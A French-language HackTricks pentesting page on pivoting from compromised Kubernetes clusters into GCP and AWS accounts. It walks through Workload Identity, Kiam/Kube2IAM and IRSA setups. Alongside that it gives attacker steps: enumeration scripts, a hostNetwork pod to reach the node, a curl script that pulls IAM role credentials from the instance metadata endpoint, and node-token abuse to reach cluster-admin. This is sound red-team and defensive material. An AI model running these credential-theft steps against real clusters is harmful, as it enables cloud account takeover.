Kubernetes Pivoting vers les Clouds

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

GCP

Si vous exécutez un cluster k8s dans GCP, vous souhaiterez probablement qu’une application s’exécutant dans le cluster ait un certain accès à GCP. Il existe 2 façons courantes de le faire :

Monter les clés GCP-SA en tant que secret

Une façon courante de donner accès à une application Kubernetes à GCP est de :

  • Créer un Service Account GCP
  • Lui attribuer les permissions souhaitées
  • Télécharger une clé json du SA créé
  • La monter en tant que secret à l’intérieur du pod
  • Définir la variable d’environnement GOOGLE_APPLICATION_CREDENTIALS pointant vers le chemin où se trouve le json.

Warning

Par conséquent, en tant qu’attacker, si vous compromettez un conteneur à l’intérieur d’un pod, vous devriez vérifier cette variable d’environnement et les fichiers json contenant des identifiants GCP.

Relier le json GSA au secret KSA

Une façon de donner accès à un GSA à un cluster GKE est de les binder de cette manière :

  • Créez un compte de service Kubernetes dans le même namespace que votre cluster GKE en utilisant la commande suivante :
kubectl create serviceaccount <service-account-name>
  • Create a Kubernetes Secret qui contient les identifiants du service account GCP que vous souhaitez autoriser à accéder au cluster GKE. Vous pouvez le faire en utilisant l’outil en ligne de commande gcloud, comme montré dans l’exemple suivant :
gcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
  • Associez le Kubernetes Secret au compte de service Kubernetes en utilisant la commande suivante :
kubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>

Warning

Lors de la deuxième étape, les credentials du GSA ont été définis comme secret du KSA. Donc, si vous pouvez lire ce secret depuis l’intérieur du cluster GKE, vous pouvez escalader vers ce compte de service GCP.

GKE Workload Identity

Avec Workload Identity, nous pouvons configurer a Kubernetes service account pour agir en tant que a Google service account. Les Pods exécutés avec le Kubernetes service account s’authentifieront automatiquement en tant que le Google service account lors de l’accès aux APIs Google Cloud.

La première série d’étapes pour activer ce comportement consiste à activer Workload Identity dans GCP (steps) et à créer le GCP SA que vous voulez que k8s se fasse passer pour.

  • Activer Workload Identity sur un nouveau cluster
gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
  • Créer/Mettre à jour un nouveau nodepool (les clusters Autopilot n’en ont pas besoin)
# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
  • Créer le GCP Service Account to impersonate depuis K8s avec des permissions GCP :
# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>

# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
  • Se connecter au cluster et créer le compte de service à utiliser
# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1

# Generate our testing namespace
kubectl create namespace testing

# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
  • Lier la GSA à la KSA
# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"

# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
  • Exécutez un pod avec la KSA et vérifiez l’access au GSA:
# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-

# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash

# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list

Vérifiez la commande suivante pour vous authentifier en cas de besoin :

gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json

Warning

En tant qu’attaquant à l’intérieur de K8s vous devriez chercher des SAs avec l’iam.gke.io/gcp-service-account annotation car cela indique que le SA peut accéder à quelque chose dans GCP. Une autre option serait d’essayer d’abuser de chaque KSA dans le cluster et vérifier s’il a accès.
Depuis GCP il est toujours intéressant d’énumérer les bindings et savoir quels accès vous donnez aux SAs à l’intérieur de Kubernetes.

This is a script to easily iterate over the all the pods definitions looking for that annotation:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"

AWS

Kiam & Kube2IAM (IAM role for Pods)

Une façon (obsolète) de donner des IAM Roles aux Pods est d’utiliser un Kiam ou un Kube2IAM server. Fondamentalement, vous devrez exécuter un daemonset dans votre cluster avec une sorte de privileged IAM role. Ce daemonset sera celui qui donnera accès aux IAM roles aux pods qui en ont besoin.

Tout d’abord, vous devez configurer quels rôles peuvent être accédés à l’intérieur du namespace, et vous le faites avec une annotation dans l’objet namespace :

kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default

Une fois le namespace configuré avec les IAM roles que les Pods peuvent avoir, vous pouvez indiquer le rôle que vous voulez pour chaque pod definition avec quelque chose comme :

kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader

Warning

En tant qu’attaquant, si vous trouvez ces annotations dans des pods ou des namespaces ou un serveur kiam/kube2iam en cours d’exécution (probablement dans kube-system) vous pouvez usurper chaque rôle déjà utilisé par les pods et bien plus (si vous avez accès au compte AWS, énumérez les rôles).

Créer un Pod avec un rôle IAM

Note

Le rôle IAM à indiquer doit être dans le même compte AWS que le rôle kiam/kube2iam et ce rôle doit pouvoir y accéder.

echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -

Rôle IAM pour les Service Accounts K8s via OIDC

C’est la façon recommandée par AWS.

  1. Tout d’abord, vous devez créer un OIDC provider pour le cluster.
  2. Ensuite, créez un rôle IAM avec les permissions dont le SA aura besoin.
  3. Créez une relation de confiance entre le rôle IAM et le SA (ou entre le rôle et les namespaces, donnant ainsi accès au rôle à tous les SA du namespace). La relation de confiance vérifiera principalement le nom du provider OIDC, le nom du namespace et le nom du SA.
  4. Enfin, créez un SA avec une annotation indiquant l’ARN du rôle, et les pods tournant avec ce SA auront accès au token du rôle. Le token est écrit dans un fichier et le chemin est spécifié dans AWS_WEB_IDENTITY_TOKEN_FILE (par défaut : /var/run/secrets/eks.amazonaws.com/serviceaccount/token)
# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml

# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role

Pour récupérer aws en utilisant le token depuis /var/run/secrets/eks.amazonaws.com/serviceaccount/token exécutez :

aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token

Warning

En tant qu’attaquant, si vous pouvez énumérer un cluster K8s, vérifiez les service accounts with that annotation pour escalate to AWS. Pour ce faire, il suffit d’exec/create un pod en utilisant l’un des IAM privileged service accounts et de voler le token.

De plus, si vous êtes à l’intérieur d’un pod, vérifiez les variables d’env comme AWS_ROLE_ARN et AWS_WEB_IDENTITY_TOKEN.

Caution

Parfois la Turst Policy of a role peut être bad configured et, au lieu de donner l’accès AssumeRole au service account attendu, elle le donne à all the service accounts. Par conséquent, si vous êtes capable d’écrire une annotation sur un service account contrôlé, vous pouvez accéder au rôle.

Consultez la following page for more information:

AWS - Federation Abuse

Trouver les Pods et les SAs avec IAM Roles dans le cluster

Ceci est un script pour itérer facilement sur tous les pods et définitions de SAs à la recherche de cette annotation :

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"

Node IAM Role to cluster-admin

La section précédente expliquait comment voler des IAM Roles depuis des pods, mais notez qu’un Node du cluster K8s est en fait une instance dans le cloud. Cela signifie qu’il est très probable que le Node ait un IAM role que vous pouvez voler (note : généralement tous les nodes d’un cluster K8s ont le même IAM role, donc cela peut ne pas valoir la peine de vérifier chaque node).

Pour accéder à l’endpoint de métadonnées du node, vous devez :

  • Être dans un pod et que l’endpoint de métadonnées soit configuré pour au moins 2 sauts TCP. C’est la mauvaise configuration la plus courante : en général différents pods du cluster ont besoin d’accéder à l’endpoint de métadonnées pour fonctionner, et plusieurs entreprises décident simplement d’autoriser l’accès à cet endpoint depuis tous les pods du cluster.
  • Être dans un pod avec hostNetwork activé.
  • S’échapper vers le node et accéder directement à l’endpoint de métadonnées.

(Note : l’endpoint de métadonnées est à 169.254.169.254 comme toujours).

Pour s’échapper vers le node vous pouvez utiliser la commande suivante pour lancer un pod avec hostNetwork activé :

kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'

Voler le token IAM Role

Nous avons précédemment vu comment attach IAM Roles to Pods ou même comment escape to the Node to steal the IAM Role que l’instance lui a attaché.

Vous pouvez utiliser le script suivant pour voler vos nouvelles IAM role credentials durement acquises :

IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi

Privesc to cluster-admin

En résumé : si l’on peut accéder au EKS Node IAM role depuis un pod, il est possible de compromettre le cluster kubernetes dans son intégralité.

Pour plus d’infos consultez this post. En résumé, le rôle IAM EKS par défaut qui est assigné aux nœuds EKS est mappé au rôle system:node à l’intérieur du cluster. Ce rôle est très intéressant bien qu’il soit limité par les kubernetes Node Restrictions.

Cependant, le node peut toujours generate tokens for service accounts s’exécutant dans des pods à l’intérieur du node. Donc, si le node exécute un pod avec un privileged service account, le node peut générer un token pour ce service account et l’utiliser pour se faire passer pour ce service account comme dans :

kubectl --context=node1 create token -n ns1 sa-priv \
--bound-object-kind=Pod \
--bound-object-name=pod-priv \
--bound-object-uid=7f7e741a-12f5-4148-91b4-4bc94f75998d

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks